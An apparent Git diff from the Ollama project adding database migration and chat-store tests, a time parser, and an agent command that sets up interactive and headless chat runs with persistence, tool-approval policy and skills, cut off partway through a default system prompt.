DROP TABLE IF EXISTS compactions;
|
||||
ALTER TABLE chats DROP COLUMN model_name;
|
||||
ALTER TABLE chats DROP COLUMN source;
|
||||
ALTER TABLE messages DROP COLUMN images;
|
||||
ALTER TABLE messages DROP COLUMN tool_name;
|
||||
ALTER TABLE messages DROP COLUMN tool_call_id;
|
||||
ALTER TABLE messages DROP COLUMN archived;
|
||||
ALTER TABLE tool_calls DROP COLUMN tool_call_id;
|
||||
UPDATE settings SET schema_version = 16;
|
||||
`); err != nil {
|
||||
t.Fatalf("failed to seed v16 schema: %v", err)
|
||||
}
|
||||
|
||||
if err := db.migrate(); err != nil {
|
||||
t.Fatalf("migration from v16 to v17 failed: %v", err)
|
||||
}
|
||||
|
||||
version, err := db.getSchemaVersion()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get schema version: %v", err)
|
||||
}
|
||||
if version != 17 {
|
||||
t.Fatalf("expected schema version 17, got %d", version)
|
||||
}
|
||||
|
||||
columns := columnMap(db)
|
||||
for _, want := range []struct {
|
||||
table string
|
||||
column string
|
||||
}{
|
||||
{"chats", "model_name TEXT NOT NULL DEFAULT ''"},
|
||||
{"chats", "source TEXT NOT NULL DEFAULT 'app'"},
|
||||
{"messages", "images TEXT NOT NULL DEFAULT '[]'"},
|
||||
{"messages", "archived BOOLEAN NOT NULL DEFAULT 0"},
|
||||
{"tool_calls", "tool_call_id TEXT NOT NULL DEFAULT ''"},
|
||||
} {
|
||||
if !containsString(columns[want.table], want.column) {
|
||||
t.Fatalf("%s columns missing %q: %#v", want.table, want.column, columns[want.table])
|
||||
}
|
||||
}
|
||||
if _, ok := columns["compactions"]; !ok {
|
||||
t.Fatalf("compactions table was not created: %#v", columns)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrationRepairsIncompleteCurrentSchema(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
dbPath := filepath.Join(tmpDir, "test.db")
|
||||
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create database: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
if _, err := db.conn.Exec(`
|
||||
ALTER TABLE chats DROP COLUMN source;
|
||||
UPDATE settings SET schema_version = 17;
|
||||
`); err != nil {
|
||||
t.Fatalf("failed to seed incomplete current schema: %v", err)
|
||||
}
|
||||
|
||||
if err := db.migrate(); err != nil {
|
||||
t.Fatalf("migration repair failed: %v", err)
|
||||
}
|
||||
|
||||
version, err := db.getSchemaVersion()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get schema version: %v", err)
|
||||
}
|
||||
if version != currentSchemaVersion {
|
||||
t.Fatalf("expected schema version %d, got %d", currentSchemaVersion, version)
|
||||
}
|
||||
|
||||
columns := columnMap(db)
|
||||
if !containsString(columns["chats"], "source TEXT NOT NULL DEFAULT 'app'") {
|
||||
t.Fatalf("chats.source was not repaired: %#v", columns["chats"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatDeletionWithCascade(t *testing.T) {
|
||||
t.Run("chat deletion cascades to related messages", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
@@ -369,6 +463,15 @@ func countRowsWithCondition(t *testing.T, db *database, table, condition string,
|
||||
return count
|
||||
}
|
||||
|
||||
func containsString(values []string, want string) bool {
|
||||
for _, value := range values {
|
||||
if value == want {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Test helpers for schema migration testing
|
||||
|
||||
// schemaMap returns both tables/columns and indexes (ignoring order)
|
||||
|
||||
+1
-1
@@ -41,7 +41,7 @@ func ImgBytes(path string) ([]byte, error) {
|
||||
func (s *Store) ImgDir() string {
|
||||
dbPath := s.DBPath
|
||||
if dbPath == "" {
|
||||
dbPath = defaultDBPath
|
||||
dbPath = defaultDBPath()
|
||||
}
|
||||
storeDir := filepath.Dir(dbPath)
|
||||
return filepath.Join(storeDir, "cache", "images")
|
||||
|
||||
+3
-2
@@ -107,6 +107,7 @@ type Chat struct {
|
||||
ID string `json:"id"`
|
||||
Messages []Message `json:"messages"`
|
||||
Title string `json:"title"`
|
||||
Model string `json:"model,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
BrowserState json.RawMessage `json:"browser_state,omitempty" ts_type:"BrowserStateData"`
|
||||
}
|
||||
@@ -192,7 +193,7 @@ var defaultDBPath = func() string {
|
||||
default:
|
||||
return filepath.Join(os.Getenv("HOME"), ".ollama", "db.sqlite")
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// legacyConfigPath is the path to the old config.json file
|
||||
var legacyConfigPath = func() string {
|
||||
@@ -229,7 +230,7 @@ func (s *Store) ensureDB() error {
|
||||
|
||||
dbPath := s.DBPath
|
||||
if dbPath == "" {
|
||||
dbPath = defaultDBPath
|
||||
dbPath = defaultDBPath()
|
||||
}
|
||||
|
||||
// Ensure directory exists
|
||||
|
||||
@@ -5,6 +5,7 @@ package store
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestStore(t *testing.T) {
|
||||
@@ -227,6 +228,96 @@ func TestStore(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestStoreChatSummariesUseLatestActivity(t *testing.T) {
|
||||
s, cleanup := setupTestStore(t)
|
||||
defer cleanup()
|
||||
|
||||
base := time.Date(2026, 6, 23, 15, 30, 45, 0, time.UTC)
|
||||
|
||||
oldChat := NewChat("chat-old")
|
||||
oldChat.Title = "Old Chat"
|
||||
oldChat.CreatedAt = base
|
||||
oldChat.Messages = []Message{
|
||||
{
|
||||
Role: "user",
|
||||
Content: "older first prompt",
|
||||
CreatedAt: base.Add(100 * time.Millisecond),
|
||||
UpdatedAt: base.Add(100 * time.Millisecond),
|
||||
},
|
||||
{
|
||||
Role: "user",
|
||||
Content: "older second prompt",
|
||||
CreatedAt: base.Add(200 * time.Millisecond),
|
||||
UpdatedAt: base.Add(200 * time.Millisecond),
|
||||
},
|
||||
}
|
||||
if err := s.SetChat(*oldChat); err != nil {
|
||||
t.Fatalf("failed to save old chat: %v", err)
|
||||
}
|
||||
|
||||
newChat := NewChat("chat-new")
|
||||
newChat.Title = "New Chat"
|
||||
newChat.CreatedAt = base
|
||||
newChat.Messages = []Message{
|
||||
{
|
||||
Role: "user",
|
||||
Content: "newer prompt",
|
||||
CreatedAt: base.Add(900 * time.Millisecond),
|
||||
UpdatedAt: base.Add(900 * time.Millisecond),
|
||||
},
|
||||
}
|
||||
if err := s.SetChat(*newChat); err != nil {
|
||||
t.Fatalf("failed to save new chat: %v", err)
|
||||
}
|
||||
|
||||
activityOnlyChat := NewChat("chat-activity-only")
|
||||
activityOnlyChat.Title = "Activity Only Chat"
|
||||
activityOnlyChat.CreatedAt = base
|
||||
activityOnlyChat.Messages = []Message{
|
||||
{
|
||||
Role: "assistant",
|
||||
Content: "recent assistant activity",
|
||||
CreatedAt: base.Add(1500 * time.Millisecond),
|
||||
UpdatedAt: base.Add(1500 * time.Millisecond),
|
||||
},
|
||||
}
|
||||
if err := s.SetChat(*activityOnlyChat); err != nil {
|
||||
t.Fatalf("failed to save activity-only chat: %v", err)
|
||||
}
|
||||
|
||||
chats, err := s.Chats()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to list chats: %v", err)
|
||||
}
|
||||
if len(chats) != 3 {
|
||||
t.Fatalf("expected 3 chats, got %d", len(chats))
|
||||
}
|
||||
if chats[0].ID != "chat-activity-only" {
|
||||
t.Fatalf("expected chat-activity-only first, got %s", chats[0].ID)
|
||||
}
|
||||
|
||||
for _, chat := range chats {
|
||||
if len(chat.Messages) != 1 {
|
||||
t.Fatalf("expected summary message for %s, got %d messages", chat.ID, len(chat.Messages))
|
||||
}
|
||||
}
|
||||
if !chats[0].Messages[0].UpdatedAt.Equal(activityOnlyChat.Messages[0].UpdatedAt) {
|
||||
t.Fatalf("expected latest activity updated_at %s, got %s", activityOnlyChat.Messages[0].UpdatedAt, chats[0].Messages[0].UpdatedAt)
|
||||
}
|
||||
if chats[0].Messages[0].Role != "" || chats[0].Messages[0].Content != "" {
|
||||
t.Fatalf("expected activity-only chat to have no user excerpt, got role=%q content=%q", chats[0].Messages[0].Role, chats[0].Messages[0].Content)
|
||||
}
|
||||
if chats[1].ID != "chat-new" {
|
||||
t.Fatalf("expected chat-new second, got %s", chats[1].ID)
|
||||
}
|
||||
if !chats[1].Messages[0].UpdatedAt.Equal(newChat.Messages[0].UpdatedAt) {
|
||||
t.Fatalf("expected precise updated_at %s, got %s", newChat.Messages[0].UpdatedAt, chats[1].Messages[0].UpdatedAt)
|
||||
}
|
||||
if chats[2].Messages[0].Content != "older first prompt" {
|
||||
t.Fatalf("expected first user prompt excerpt, got %q", chats[2].Messages[0].Content)
|
||||
}
|
||||
}
|
||||
|
||||
// setupTestStore creates a temporary store for testing
|
||||
func setupTestStore(t *testing.T) (*Store, func()) {
|
||||
t.Helper()
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package store
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func parseAgentSQLiteTime(value string) (time.Time, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return time.Time{}, nil
|
||||
}
|
||||
for _, layout := range []string{
|
||||
time.RFC3339Nano,
|
||||
"2006-01-02 15:04:05.999999999-07:00",
|
||||
"2006-01-02 15:04:05.999999999Z07:00",
|
||||
"2006-01-02 15:04:05.999999999",
|
||||
"2006-01-02 15:04:05-07:00",
|
||||
"2006-01-02 15:04:05Z07:00",
|
||||
"2006-01-02 15:04:05",
|
||||
} {
|
||||
t, err := time.Parse(layout, value)
|
||||
if err == nil {
|
||||
return t, nil
|
||||
}
|
||||
}
|
||||
return time.Time{}, fmt.Errorf("unsupported time format %q", value)
|
||||
}
|
||||
@@ -0,0 +1,885 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
agentstore "github.com/ollama/ollama/agent/store"
|
||||
agenttools "github.com/ollama/ollama/agent/tools"
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/filedata"
|
||||
"github.com/ollama/ollama/cmd/launch"
|
||||
agentchat "github.com/ollama/ollama/cmd/tui/chat"
|
||||
"github.com/ollama/ollama/format"
|
||||
internalcloud "github.com/ollama/ollama/internal/cloud"
|
||||
"github.com/ollama/ollama/internal/modelref"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
type AgentTUIOptions struct {
|
||||
Model string
|
||||
Prompt string
|
||||
Messages []api.Message
|
||||
System string
|
||||
Images []api.ImageData
|
||||
Format string
|
||||
Options map[string]any
|
||||
Think *api.ThinkValue
|
||||
KeepAlive *api.Duration
|
||||
ContextWindowTokens int
|
||||
Resume bool
|
||||
AutoApproveTools bool
|
||||
Policy coreagent.RunPolicy
|
||||
Verbose bool
|
||||
MultiModal bool
|
||||
Skill string
|
||||
Skills *skills.Catalog
|
||||
}
|
||||
|
||||
func agentOptionsFromRunOptions(opts runOptions) AgentTUIOptions {
|
||||
return AgentTUIOptions{
|
||||
Model: opts.Model,
|
||||
Prompt: opts.Prompt,
|
||||
Messages: opts.Messages,
|
||||
System: opts.System,
|
||||
Images: opts.Images,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
Resume: opts.Resume,
|
||||
AutoApproveTools: opts.AutoApproveTools,
|
||||
Verbose: opts.Verbose,
|
||||
MultiModal: opts.MultiModal,
|
||||
}
|
||||
}
|
||||
|
||||
type agentSurface int
|
||||
|
||||
const (
|
||||
agentSurfaceTUI agentSurface = iota
|
||||
agentSurfaceHeadless
|
||||
)
|
||||
|
||||
func resolveAgentRunPolicy(opts AgentTUIOptions, surface agentSurface) coreagent.RunPolicy {
|
||||
policy := opts.Policy
|
||||
if surface == agentSurfaceHeadless {
|
||||
policy.ToolMode = coreagent.ToolModeDisabled
|
||||
}
|
||||
if opts.AutoApproveTools {
|
||||
policy.ToolMode = coreagent.ToolModeFullAccess
|
||||
}
|
||||
return policy
|
||||
}
|
||||
|
||||
type agentRunSetup struct {
|
||||
opts AgentTUIOptions
|
||||
client *api.Client
|
||||
cwd string
|
||||
store *agentstore.Store
|
||||
newChatID func(context.Context) (string, error)
|
||||
chatID string
|
||||
messages []api.Message
|
||||
skills *skills.Catalog
|
||||
registry *coreagent.Registry
|
||||
approval coreagent.ApprovalHandler
|
||||
}
|
||||
|
||||
func (s *agentRunSetup) close() {
|
||||
if s != nil && s.store != nil {
|
||||
_ = s.store.Close()
|
||||
s.store = nil
|
||||
}
|
||||
}
|
||||
|
||||
func newAgentRunSetup(cmd *cobra.Command, opts AgentTUIOptions, resumeLatestWithoutModel bool) (*agentRunSetup, error) {
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
cwd = ""
|
||||
}
|
||||
|
||||
var store *agentstore.Store
|
||||
if openedStore, err := agentstore.New(""); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m chat persistence unavailable: %v\n", err)
|
||||
} else {
|
||||
store = openedStore
|
||||
}
|
||||
|
||||
newChatID := func(ctx context.Context) (string, error) {
|
||||
u, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
u = uuid.Must(uuid.NewRandom())
|
||||
}
|
||||
chatID := u.String()
|
||||
if store != nil {
|
||||
if err := store.EnsureChat(ctx, chatID, ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
return chatID, nil
|
||||
}
|
||||
|
||||
chatID := ""
|
||||
var resumedMessages []api.Message
|
||||
if opts.Resume {
|
||||
if store == nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m chat resume unavailable: persistence is disabled\n")
|
||||
} else {
|
||||
chat, err := resumeAgentChat(cmd.Context(), store, opts.Model, resumeLatestWithoutModel)
|
||||
if err == nil {
|
||||
chatID = chat.ID
|
||||
if opts.Model == "" {
|
||||
opts.Model = chat.Model
|
||||
}
|
||||
resumedMessages = chat.Messages
|
||||
} else if errors.Is(err, sql.ErrNoRows) {
|
||||
if resumeLatestWithoutModel && opts.Model == "" {
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
return nil, errors.New("no saved chat to resume; pass a model to start a new chat")
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m no saved chat for %s; starting a new chat\n", opts.Model)
|
||||
} else if resumeLatestWithoutModel {
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
return nil, fmt.Errorf("could not resume chat: %w", err)
|
||||
} else {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not resume chat: %v\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(opts.Model) == "" {
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
return nil, errors.New("model is required")
|
||||
}
|
||||
if chatID == "" {
|
||||
var err error
|
||||
chatID, err = newChatID(cmd.Context())
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not create persistent chat: %v\n", err)
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
store = nil
|
||||
chatID, _ = newChatID(cmd.Context())
|
||||
}
|
||||
}
|
||||
if store != nil {
|
||||
if err := store.SetChatModel(cmd.Context(), chatID, opts.Model); err != nil {
|
||||
_ = store.Close()
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
skillCatalog := opts.Skills
|
||||
if skillCatalog == nil {
|
||||
skillCatalog = loadAgentSkills()
|
||||
}
|
||||
|
||||
registry := agentToolsRegistry(cmd.Context(), client, opts.Model, skillCatalog)
|
||||
opts.ContextWindowTokens = contextWindowTokensForRun(cmd.Context(), client, opts.Model, opts.ContextWindowTokens)
|
||||
approval := opts.Policy.ReviewApprovalHandler(nil)
|
||||
|
||||
messages := slices.Clone(resumedMessages)
|
||||
messages = append(messages, opts.Messages...)
|
||||
|
||||
return &agentRunSetup{
|
||||
opts: opts,
|
||||
client: client,
|
||||
cwd: cwd,
|
||||
store: store,
|
||||
newChatID: newChatID,
|
||||
chatID: chatID,
|
||||
messages: messages,
|
||||
skills: skillCatalog,
|
||||
registry: registry,
|
||||
approval: approval,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func resumeAgentChat(ctx context.Context, store *agentstore.Store, modelName string, latestWithoutModel bool) (*agentstore.AgentChat, error) {
|
||||
if latestWithoutModel && modelName == "" {
|
||||
return store.LatestChat(ctx)
|
||||
}
|
||||
return store.LatestChatForModel(ctx, modelName)
|
||||
}
|
||||
|
||||
func GenerateAgentTUI(cmd *cobra.Command, opts AgentTUIOptions) error {
|
||||
opts.Policy = resolveAgentRunPolicy(opts, agentSurfaceTUI)
|
||||
setup, err := newAgentRunSetup(cmd, opts, false)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer setup.close()
|
||||
|
||||
opts = setup.opts
|
||||
|
||||
_, err = agentchat.Run(cmd.Context(), agentchat.Options{
|
||||
Model: opts.Model,
|
||||
ChatID: setup.chatID,
|
||||
Messages: setup.messages,
|
||||
Client: setup.client,
|
||||
Store: setup.store,
|
||||
Tools: setup.registry,
|
||||
ToolRegistryForModel: func(ctx context.Context, model string) *coreagent.Registry {
|
||||
return agentToolsRegistry(ctx, setup.client, model, setup.skills)
|
||||
},
|
||||
MultiModalForModel: func(ctx context.Context, model string) bool {
|
||||
return agentModelSupportsMultimodal(ctx, setup.client, model)
|
||||
},
|
||||
ModelOptions: func(ctx context.Context) ([]agentchat.ModelOption, error) {
|
||||
return agentModelOptions(ctx, setup.client)
|
||||
},
|
||||
OnModelSelected: func(_ context.Context, model string) error {
|
||||
return config.SetLastModel(model)
|
||||
},
|
||||
SystemPromptForModel: func(ctx context.Context, model string, registry *coreagent.Registry) string {
|
||||
modelSystem := opts.System
|
||||
if strings.TrimSpace(model) != strings.TrimSpace(opts.Model) {
|
||||
modelSystem = agentSystemFromShow(ctx, setup.client, model)
|
||||
}
|
||||
return agentSystemPrompt(model, setup.skills, registry != nil && registry.Has("skill"), modelSystem, "")
|
||||
},
|
||||
Approval: setup.approval,
|
||||
Policy: opts.Policy,
|
||||
Skills: setup.skills,
|
||||
SystemPrompt: agentSystemPrompt(opts.Model, setup.skills, setup.registry != nil && setup.registry.Has("skill"), opts.System, ""),
|
||||
WorkingDir: setup.cwd,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
Images: slices.Clone(opts.Images),
|
||||
MultiModal: opts.MultiModal,
|
||||
Verbose: opts.Verbose,
|
||||
Compactor: coreagent.NewSimpleCompactor(setup.client, setup.store, coreagent.CompactionOptions{
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
}),
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
ContextWindowTokensForModel: func(ctx context.Context, model string, fallback int) int {
|
||||
return contextWindowTokensForRun(ctx, setup.client, model, fallback)
|
||||
},
|
||||
PreloadModel: func(ctx context.Context, model string, think *api.ThinkValue) error {
|
||||
preloadOpts := opts
|
||||
preloadOpts.Think = think
|
||||
return preloadAgentModelIfLocal(ctx, setup.client, preloadOpts, model)
|
||||
},
|
||||
CheckCloudModel: func(ctx context.Context, model, requiredPlan string) error {
|
||||
return ensureCloudModelAccess(ctx, setup.client, model, requiredPlan)
|
||||
},
|
||||
OpenBrowser: func(url string) {
|
||||
launch.OpenBrowser(url)
|
||||
},
|
||||
PollCloudAuth: func(ctx context.Context) (string, bool) {
|
||||
user, err := setup.client.Whoami(ctx)
|
||||
if err != nil || user == nil || user.Name == "" {
|
||||
return "", false
|
||||
}
|
||||
return user.Name, true
|
||||
},
|
||||
NewChat: setup.newChatID,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func GenerateAgentHeadless(cmd *cobra.Command, opts AgentTUIOptions) error {
|
||||
if strings.TrimSpace(opts.Prompt) == "" {
|
||||
return errors.New("agent headless mode requires a prompt or stdin")
|
||||
}
|
||||
|
||||
opts.Policy = resolveAgentRunPolicy(opts, agentSurfaceHeadless)
|
||||
setup, err := newAgentRunSetup(cmd, opts, true)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer setup.close()
|
||||
|
||||
opts = setup.opts
|
||||
if opts.Model == "" {
|
||||
return errors.New("model is required")
|
||||
}
|
||||
|
||||
prompt := opts.Prompt
|
||||
images := slices.Clone(opts.Images)
|
||||
if opts.MultiModal {
|
||||
var files []filedata.File
|
||||
prompt, files, err = filedata.ExtractWithFiles(prompt)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Couldn't process file: %q\n", err)
|
||||
return err
|
||||
}
|
||||
imgs := make([]api.ImageData, 0, len(files))
|
||||
for _, file := range files {
|
||||
switch filedata.Kind(file.Path) {
|
||||
case "audio":
|
||||
fmt.Fprintf(os.Stderr, "Added audio '%s'\n", file.Path)
|
||||
default:
|
||||
fmt.Fprintf(os.Stderr, "Added image '%s'\n", file.Path)
|
||||
}
|
||||
imgs = append(imgs, file.Data)
|
||||
}
|
||||
images = imgs
|
||||
}
|
||||
tools := opts.Policy.Tools(setup.registry)
|
||||
toolPrompt := ""
|
||||
if tools == nil {
|
||||
toolPrompt = "Tools are unavailable in this headless run because --auto-approve-tools was not passed. Answer directly without tool calls."
|
||||
}
|
||||
systemPrompt := agentSystemPrompt(opts.Model, setup.skills, tools != nil && tools.Has("skill"), opts.System, toolPrompt)
|
||||
newMessages := []api.Message{{Role: "user", Content: prompt, Images: images}}
|
||||
if strings.TrimSpace(opts.Skill) == "" {
|
||||
if skill, request, ok := skillFromPrompt(setup.skills, prompt); ok {
|
||||
opts.Skill = skill.Name
|
||||
prompt = request
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(opts.Skill) != "" {
|
||||
skill, ok := setup.skills.Find(opts.Skill)
|
||||
if !ok {
|
||||
return fmt.Errorf("unknown skill: %s", opts.Skill)
|
||||
}
|
||||
manualMessages, err := agenttools.ManualSkillMessages(skill, prompt, len(setup.messages)+1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manualMessages[0].Images = images
|
||||
newMessages = manualMessages
|
||||
}
|
||||
|
||||
runCtx, cancel := context.WithCancel(cmd.Context())
|
||||
defer cancel()
|
||||
|
||||
sigChan := make(chan os.Signal, 1)
|
||||
signal.Notify(sigChan, syscall.SIGINT)
|
||||
defer signal.Stop(sigChan)
|
||||
go func() {
|
||||
select {
|
||||
case <-sigChan:
|
||||
cancel()
|
||||
case <-runCtx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
headlessSink := &agentHeadlessEventSink{}
|
||||
eventSink := coreagent.EventSink(headlessSink)
|
||||
session := &coreagent.Session{
|
||||
Client: setup.client,
|
||||
Store: setup.store,
|
||||
Events: eventSink,
|
||||
Tools: tools,
|
||||
Approval: opts.Policy.ApprovalHandler(nil),
|
||||
WorkingDir: setup.cwd,
|
||||
Compactor: coreagent.NewSimpleCompactor(setup.client, setup.store, coreagent.CompactionOptions{
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
}),
|
||||
}
|
||||
result, err := session.Run(runCtx, coreagent.RunOptions{
|
||||
ChatID: setup.chatID,
|
||||
Model: opts.Model,
|
||||
SystemPrompt: systemPrompt,
|
||||
Messages: setup.messages,
|
||||
NewMessages: newMessages,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
Policy: opts.Policy,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
headlessSink.Finish()
|
||||
if headlessSink.denied {
|
||||
return errors.New("tool execution denied")
|
||||
}
|
||||
|
||||
verbose := opts.Verbose
|
||||
if cmd != nil && cmd.Flags().Lookup("verbose") != nil {
|
||||
flagVerbose, err := cmd.Flags().GetBool("verbose")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
verbose = verbose || flagVerbose
|
||||
}
|
||||
if verbose {
|
||||
result.Latest.Summary()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func skillFromPrompt(catalog *skills.Catalog, prompt string) (skills.Skill, string, bool) {
|
||||
if catalog == nil || catalog.Empty() {
|
||||
return skills.Skill{}, "", false
|
||||
}
|
||||
prompt = strings.TrimSpace(prompt)
|
||||
if !strings.HasPrefix(prompt, "/") {
|
||||
return skills.Skill{}, "", false
|
||||
}
|
||||
command, rest, _ := strings.Cut(prompt, " ")
|
||||
skill, ok := catalog.Find(command)
|
||||
return skill, strings.TrimSpace(rest), ok
|
||||
}
|
||||
|
||||
type agentHeadlessEventSink struct {
|
||||
wroteContent bool
|
||||
contentEndedWithNewline bool
|
||||
denied bool
|
||||
}
|
||||
|
||||
func (s *agentHeadlessEventSink) Emit(event coreagent.Event) error {
|
||||
switch event.Type {
|
||||
case coreagent.EventThinkingDelta:
|
||||
case coreagent.EventMessageDelta:
|
||||
if event.Content != "" {
|
||||
fmt.Fprint(os.Stdout, event.Content)
|
||||
s.wroteContent = true
|
||||
s.contentEndedWithNewline = strings.HasSuffix(event.Content, "\n")
|
||||
}
|
||||
case coreagent.EventToolFinished:
|
||||
s.ensureContentNewline()
|
||||
status := "done"
|
||||
if event.Status != "done" || event.Error != "" {
|
||||
status = "failed"
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "• %s %s\n", coreagent.ToolInvocationLabel(event.ToolName, event.Args), status)
|
||||
case coreagent.EventToolsUnavailable:
|
||||
fmt.Fprintln(os.Stderr, "Tools are unavailable for this model.")
|
||||
case coreagent.EventRunFinished:
|
||||
if event.Status == "denied" {
|
||||
s.denied = true
|
||||
}
|
||||
case coreagent.EventCompactionSkipped:
|
||||
if event.Content != "" {
|
||||
fmt.Fprintf(os.Stderr, "%s\n", event.Content)
|
||||
}
|
||||
case coreagent.EventError:
|
||||
if event.Error != "" {
|
||||
fmt.Fprintf(os.Stderr, "error: %s\n", event.Error)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *agentHeadlessEventSink) Finish() {
|
||||
s.ensureContentNewline()
|
||||
}
|
||||
|
||||
func (s *agentHeadlessEventSink) ensureContentNewline() {
|
||||
if s.wroteContent && !s.contentEndedWithNewline {
|
||||
fmt.Fprintln(os.Stdout)
|
||||
s.contentEndedWithNewline = true
|
||||
}
|
||||
}
|
||||
|
||||
func loadAgentSkills() *skills.Catalog {
|
||||
catalog, err := skills.LoadDefault()
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load skills: %v\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, warning := range catalog.Warnings {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m skill ignored: %s\n", warning)
|
||||
}
|
||||
return catalog
|
||||
}
|
||||
|
||||
func agentSystemPrompt(modelName string, catalog *skills.Catalog, skillToolAvailable bool, modelSystem string, extra string) string {
|
||||
return agentSystemPromptAt(time.Now(), modelName, catalog, skillToolAvailable, modelSystem, extra)
|
||||
}
|
||||
|
||||
func agentSystemPromptAt(now time.Time, modelName string, catalog *skills.Catalog, skillToolAvailable bool, modelSystem string, extra string) string {
|
||||
var parts []string
|
||||
parts = append(parts, agentDefaultSystemPrompt(now, modelName))
|
||||
if strings.TrimSpace(modelSystem) != "" {
|
||||
parts = append(parts, strings.TrimSpace(modelSystem))
|
||||
}
|
||||
if catalogPrompt := catalog.SystemPrompt(skillToolAvailable); strings.TrimSpace(catalogPrompt) != "" {
|
||||
parts = append(parts, catalogPrompt)
|
||||
}
|
||||
if strings.TrimSpace(extra) != "" {
|
||||
parts = append(parts, strings.TrimSpace(extra))
|
||||
}
|
||||
return strings.Join(parts, "\n\n")
|
||||
}
|
||||
|
||||
func agentSystemFromShow(ctx context.Context, client *api.Client, modelName string) string {
|
||||
if client == nil || strings.TrimSpace(modelName) == "" {
|
||||
return ""
|
||||
}
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load model system prompt: %v\n", err)
|
||||
return ""
|
||||
}
|
||||
return resp.System
|
||||
}
|
||||
|
||||
func agentDefaultSystemPrompt(now time.Time, modelName string) string {
|
||||
date := now.Format("Monday, January 2, 2006")
|
||||
shellName := "bash"
|
||||
if runtime.GOOS == "windows" {
|
||||
shellName = "PowerShell"
|
||||
}
|
||||
return strings.Join([]string{
|
||||
"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is " + modelName + ".",
|
||||
"",
|
||||
"Current date: " + date + ".",
|
||||
"",
|
||||
